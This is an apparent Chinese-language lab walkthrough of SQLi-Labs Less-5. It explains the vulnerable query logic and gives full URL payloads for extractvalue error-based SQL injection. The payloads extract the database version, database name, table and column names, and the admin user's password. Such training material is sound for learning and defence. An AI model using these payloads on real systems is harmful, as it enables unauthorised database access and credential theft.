Less - 5
SQL注入 - 前置知识:https://blog.csdn.net/weixin_43320796/article/details/139498174
SQL注入 - M有SQL 盲注:https://blog.csdn.net/weixin_43320796/article/details/139633446
1. 代码审计
截取一段源代码:
- 可以看到源代码
(20行)
判断GET
请求的id
是否有值 - 如果有值的就
(21行)
赋值到$id
变量 (27行)
SQL语句变量'$id'
存在单引号
干扰- 用
'
闭合前面的单引号
,用--+
注释后面的单引号
- 当
id
参数值为1' or 1=1 --+
拼接SQL
后SELECT * FROM users WHERE id = '1' or 1=1 --+'LIMIT 0,1
- 用
- 然后代入数据库查询
(28-29行)
(31-35行)
判断数据库查询是否有数据,有则打印'You are in...........'
(36-41行)
如果没有则(39行)
打印MySQL错误信息- 这关我们可以使用
MySQL盲注的报错注入
2. 注入测试
2.1 extractvalue报错注入
-
此处可以利用
extractvalue报错注入
尝试爆出数据库版本http://www.sqlilabs.kay.com/Less-5/?id=1' AND (extractvalue(1,CONCAT(0x7e,(SELECT version()),0x7e))) --+
3. 构造 Payload
3.1 爆当前数据库名
http://www.sqlilabs.kay.com/Less-5/?id=1' AND (extractvalue(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))) --+
3.2 爆当前数据库第四个表名
http://www.sqlilabs.kay.com/Less-5/?id=1' AND (extractvalue(1,CONCAT(0x7e,(SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=database() LIMIT 3,1),0x7e))) --+
LIMIT 用法:
LIMIT offset,count
offset
是返回的初始标注,起始点是0,是返回的数量。
3.3 爆 users 表所有字段名
http://www.sqlilabs.kay.com/Less-5/?id=1' AND (extractvalue(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME='users' AND TABLE_SCHEMA=DATABASE()),0x7e))) --+
3.4 爆 username = admin
的password
数据
http://www.sqlilabs.kay.com/Less-5/?id=1' AND (extractvalue(1,CONCAT(0x7e,(SELECT password FROM security.users WHERE username='admin'),0x7e))) --+